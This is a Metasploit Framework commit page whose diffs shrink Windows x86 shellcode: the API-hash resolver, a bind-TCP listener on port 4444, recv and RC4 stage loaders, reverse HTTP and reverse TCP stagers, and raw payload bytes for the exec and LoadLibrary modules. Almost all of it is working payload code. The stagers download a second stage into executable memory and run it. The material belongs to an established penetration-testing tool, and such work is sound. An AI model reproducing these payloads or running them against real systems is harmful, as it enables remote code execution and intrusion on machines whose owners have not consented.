Skip to content

Commit 6ea5ed1

Browse files
author
HD Moore
committed
Shrinks windows payloads, lands rapid7#4391
2 parents f67a32e + 19adfca commit 6ea5ed1

26 files changed

+477
-545
lines changed

external/source/shellcode/windows/x86/src/block/block_api.asm

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
44
; Version: 1.0 (24 July 2009)
5-
; Size: 137 bytes
5+
; Size: 130 bytes
66
;-----------------------------------------------------------------------------;
77

88
[BITS 32]
@@ -17,16 +17,15 @@
1717
api_call:
1818
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
1919
mov ebp, esp ; Create a new stack frame
20-
xor edx, edx ; Zero EDX
21-
mov edx, [fs:edx+48] ; Get a pointer to the PEB
20+
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
21+
mov edx, [fs:eax+48] ; Get a pointer to the PEB
2222
mov edx, [edx+12] ; Get PEB->Ldr
2323
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
2424
next_mod: ;
2525
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
2626
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
2727
xor edi, edi ; Clear EDI which will store the hash of the module name
2828
loop_modname: ;
29-
xor eax, eax ; Clear EAX
3029
lodsb ; Read in the next byte of the name
3130
cmp al, 'a' ; Some versions of Windows use lower case module names
3231
jl not_lowercase ;
@@ -41,10 +40,10 @@ not_lowercase: ;
4140
push edi ; Save the current module hash for later
4241
; Proceed to iterate the export address table,
4342
mov edx, [edx+16] ; Get this modules base address
44-
mov eax, [edx+60] ; Get PE header
43+
mov ecx, [edx+60] ; Get PE header
4544

4645
; use ecx as our EAT pointer here so we can take advantage of jecxz.
47-
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
46+
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
4847
jecxz get_next_mod1 ; If no EAT present, process the next module
4948
add ecx, edx ; Add the modules base address
5049
push ecx ; Save the current modules EAT
@@ -62,7 +61,6 @@ get_next_func: ;
6261
xor edi, edi ; Clear EDI which will store the hash of the function name
6362
; And compare it to the one we want
6463
loop_funcname: ;
65-
xor eax, eax ; Clear EAX
6664
lodsb ; Read in the next byte of the ASCII function name
6765
ror edi, 13 ; Rotate right our hash value
6866
add edi, eax ; Add the next byte of the name
@@ -94,7 +92,7 @@ finish:
9492
; We now automagically return to the correct caller...
9593

9694
get_next_mod: ;
97-
pop eax ; Pop off the current (now the previous) modules EAT
95+
pop edi ; Pop off the current (now the previous) modules EAT
9896
get_next_mod1: ;
9997
pop edi ; Pop off the current (now the previous) modules hash
10098
pop edx ; Restore our position in the module list

external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -23,10 +23,16 @@ bind_tcp:
2323
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
2424
call ebp ; WSAStartup( 0x0190, &WSAData );
2525
26-
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
27-
push eax ; push null for reserved parameter
28-
push eax ; we do not specify a WSAPROTOCOL_INFO structure
29-
push eax ; we do not specify a protocol
26+
push byte 8
27+
pop ecx
28+
push_8_loop:
29+
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
30+
loop push_8_loop
31+
32+
; push zero for the flags param [8]
33+
; push null for reserved parameter [7]
34+
; we do not specify a WSAPROTOCOL_INFO structure [6]
35+
; we do not specify a protocol [5]
3036
inc eax ;
3137
push eax ; push SOCK_STREAM
3238
inc eax ;
@@ -35,8 +41,7 @@ bind_tcp:
3541
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
3642
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
3743
38-
xor ebx, ebx ; Clear EBX
39-
push ebx ; bind to 0.0.0.0
44+
; bind to 0.0.0.0, pushed earlier [4]
4045
push 0x5C110002 ; family AF_INET and port 4444
4146
mov esi, esp ; save a pointer to sockaddr_in struct
4247
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
@@ -45,13 +50,13 @@ bind_tcp:
4550
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
4651
call ebp ; bind( s, &sockaddr_in, 16 );
4752

48-
push ebx ; backlog
53+
; backlog, pushed earlier [3]
4954
push edi ; socket
5055
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
5156
call ebp ; listen( s, 0 );
5257

53-
push ebx ; we set length for the sockaddr struct to zero
54-
push ebx ; we dont set the optional sockaddr param
58+
; we set length for the sockaddr struct to zero, pushed earlier [2]
59+
; we dont set the optional sockaddr param, pushed earlier [1]
5560
push edi ; listening socket
5661
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
5762
call ebp ; accept( s, 0, 0 );

external/source/shellcode/windows/x86/src/block/block_recv.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,6 @@ read_more: ;
3838
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
3939
call ebp ; recv( s, buffer, length, 0 );
4040
add ebx, eax ; buffer += bytes_received
41-
sub esi, eax ; length -= bytes_received
42-
test esi, esi ; test length
41+
sub esi, eax ; length -= bytes_received, will set flags
4342
jnz read_more ; continue if we have more to read
4443
ret ; return into the second stage

external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,8 +48,7 @@ read_more: ;
4848
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
4949
call ebp ; recv( s, buffer, length, 0 );
5050
add ebx, eax ; buffer += bytes_received
51-
sub esi, eax ; length -= bytes_received
52-
test esi, esi ; test length
51+
sub esi, eax ; length -= bytes_received, will set flags
5352
jnz read_more ; continue if we have more to read
5453
pop ebx ; address of S-box
5554
pop ecx ; stage length

external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

Lines changed: 22 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -35,48 +35,52 @@ load_wininet:
3535
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
3636
call ebp ; LoadLibraryA( "wininet" )
3737

38-
xor ebx,ebx
38+
set_retry:
39+
push byte 8 ; retry 8 times should be enough
40+
pop edi
41+
xor ebx, ebx ; push 8 zeros ([1]-[8])
42+
mov ecx, edi
43+
push_zeros:
44+
push ebx
45+
loop push_zeros
3946

4047
internetopen:
41-
push ebx ; DWORD dwFlags
42-
push ebx ; LPCTSTR lpszProxyBypass (NULL)
43-
push ebx ; LPCTSTR lpszProxyName (NULL)
44-
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
45-
push ebx ; LPCTSTR lpszAgent (NULL)
48+
; DWORD dwFlags [1]
49+
; LPCTSTR lpszProxyBypass (NULL) [2]
50+
; LPCTSTR lpszProxyName (NULL) [3]
51+
; DWORD dwAccessType (PRECONFIG = 0) [4]
52+
; LPCTSTR lpszAgent (NULL) [5]
4653
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
4754
call ebp
4855

4956
internetconnect:
50-
push ebx ; DWORD_PTR dwContext (NULL)
51-
push ebx ; dwFlags
57+
; DWORD_PTR dwContext (NULL) [6]
58+
; dwFlags [7]
5259
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
5360
push ebx ; password (NULL)
5461
push ebx ; username (NULL)
5562
push dword 4444 ; PORT
56-
jmp short dbl_get_server_host ; push pointer to HOSTNAME
63+
call got_server_uri ; double call to get pointer for both server_uri and
64+
server_uri: ; server_host; server_uri is saved in EDI for later
65+
db "/12345", 0x00
5766
got_server_host:
5867
push eax ; HINTERNET hInternet
5968
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
6069
call ebp
6170

6271
httpopenrequest:
63-
push ebx ; dwContext (NULL)
72+
; dwContext (NULL) [8]
6473
push HTTP_OPEN_FLAGS ; dwFlags
6574
push ebx ; accept types
6675
push ebx ; referrer
6776
push ebx ; version
68-
jmp get_server_uri ; push pointer to url
69-
got_server_uri:
77+
push edi ; server URI
7078
push ebx ; method
7179
push eax ; hConnection
7280
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
7381
call ebp
7482
xchg esi, eax ; save hHttpRequest in esi
7583

76-
set_retry:
77-
push byte 0x10
78-
pop edi
79-
8084
send_request:
8185

8286
%ifdef ENABLE_SSL
@@ -120,15 +124,6 @@ failure:
120124
push 0x56A2B5F0 ; hardcoded to exitprocess for size
121125
call ebp
122126

123-
dbl_get_server_host:
124-
jmp get_server_host
125-
126-
get_server_uri:
127-
call got_server_uri
128-
129-
server_uri:
130-
db "/12345", 0x00
131-
132127
allocate_memory:
133128
push byte 0x40 ; PAGE_EXECUTE_READWRITE
134129
push 0x1000 ; MEM_COMMIT
@@ -164,7 +159,8 @@ download_more:
164159
execute_stage:
165160
ret ; dive into the stored stage address
166161

167-
get_server_host:
162+
got_server_uri:
163+
pop edi
168164
call got_server_host
169165

170166
server_host:

external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,10 +51,9 @@ try_connect:
5151
jz short connected
5252

5353
port_bump:
54-
xor eax, eax
5554
mov word ax, [esi+2]
5655
xchg ah,al
57-
inc ax
56+
inc eax
5857
xchg ah,al
5958
mov word [esi+2], ax
6059
jmp short try_connect

external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,10 @@ reverse_tcp:
3636
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
3737

3838
get_address:
39-
jmp get_hostname
39+
call got_hostname
40+
41+
hostname:
42+
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
4043

4144
got_hostname:
4245
push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" )
@@ -66,12 +69,6 @@ handle_failure:
6669
failure:
6770
push 0x56A2B5F0 ; hardcoded to exitprocess for size
6871
call ebp
69-
70-
get_hostname:
71-
call got_hostname
72-
73-
hostname:
74-
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
7572

7673
connected:
7774

lib/msf/core/payload/windows/exec.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -29,21 +29,21 @@ def initialize(info = {})
2929
{
3030
'Offsets' =>
3131
{
32-
'EXITFUNC' => [ 161, 'V' ]
32+
'EXITFUNC' => [ 154, 'V' ]
3333
},
3434
'Payload' =>
35-
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
36-
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
37-
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
38-
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
39-
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
40-
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
41-
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
42-
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
43-
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
44-
"\x6A\x01\x8D\x85\xB9\x00\x00\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5" +
45-
"\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
46-
"\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
35+
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
36+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
37+
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
38+
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
39+
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
40+
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
41+
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
42+
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
43+
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" +
44+
"\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
45+
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
46+
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
4747
}
4848
))
4949

lib/msf/core/payload/windows/loadlibrary.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -29,21 +29,21 @@ def initialize(info = {})
2929
{
3030
'Offsets' =>
3131
{
32-
'EXITFUNC' => [ 159, 'V' ]
32+
'EXITFUNC' => [ 152, 'V' ]
3333
},
3434
'Payload' =>
35-
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
36-
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
37-
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
38-
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
39-
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
40-
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
41-
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
42-
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
43-
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
44-
"\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" +
45-
"\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" +
46-
"\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
35+
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
36+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
37+
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
38+
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
39+
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
40+
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
41+
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
42+
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
43+
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x8D\x85\xB0\x00\x00\x00\x50" +
44+
"\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD" +
45+
"\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" +
46+
"\x6F\x6A\x00\x53\xFF\xD5"
4747
}
4848
))
4949

lib/msf/core/payload/windows/prepend_migrate.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -68,16 +68,15 @@ def prepend_migrate(buf)
6868
api_call:
6969
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
7070
mov ebp, esp ; Create a new stack frame
71-
xor edx, edx ; Zero EDX
72-
mov edx, [fs:edx+48] ; Get a pointer to the PEB
71+
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
72+
mov edx, [fs:eax+48] ; Get a pointer to the PEB
7373
mov edx, [edx+12] ; Get PEB->Ldr
7474
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
7575
next_mod: ;
7676
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
7777
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
7878
xor edi, edi ; Clear EDI which will store the hash of the module name
7979
loop_modname: ;
80-
xor eax, eax ; Clear EAX
8180
lodsb ; Read in the next byte of the name
8281
cmp al, 'a' ; Some versions of Windows use lower case module names
8382
jl not_lowercase ;
@@ -92,10 +91,10 @@ def prepend_migrate(buf)
9291
push edi ; Save the current module hash for later
9392
; Proceed to iterate the export address table
9493
mov edx, [edx+16] ; Get this modules base address
95-
mov eax, [edx+60] ; Get PE header
94+
mov ecx, [edx+60] ; Get PE header
9695
9796
; use ecx as our EAT pointer here so we can take advantage of jecxz.
98-
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
97+
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
9998
jecxz get_next_mod1 ; If no EAT present, process the next module
10099
add ecx, edx ; Add the modules base address
101100
push ecx ; Save the current modules EAT
@@ -113,7 +112,6 @@ def prepend_migrate(buf)
113112
xor edi, edi ; Clear EDI which will store the hash of the function name
114113
; And compare it to the one we want
115114
loop_funcname: ;
116-
xor eax, eax ; Clear EAX
117115
lodsb ; Read in the next byte of the ASCII function name
118116
ror edi, 13 ; Rotate right our hash value
119117
add edi, eax ; Add the next byte of the name
@@ -145,7 +143,7 @@ def prepend_migrate(buf)
145143
; We now automagically return to the correct caller...
146144
147145
get_next_mod: ;
148-
pop eax ; Pop off the current (now the previous) modules EAT
146+
pop edi ; Pop off the current (now the previous) modules EAT
149147
get_next_mod1: ;
150148
pop edi ; Pop off the current (now the previous) modules hash
151149
pop edx ; Restore our position in the module list

0 commit comments

Comments
 (0)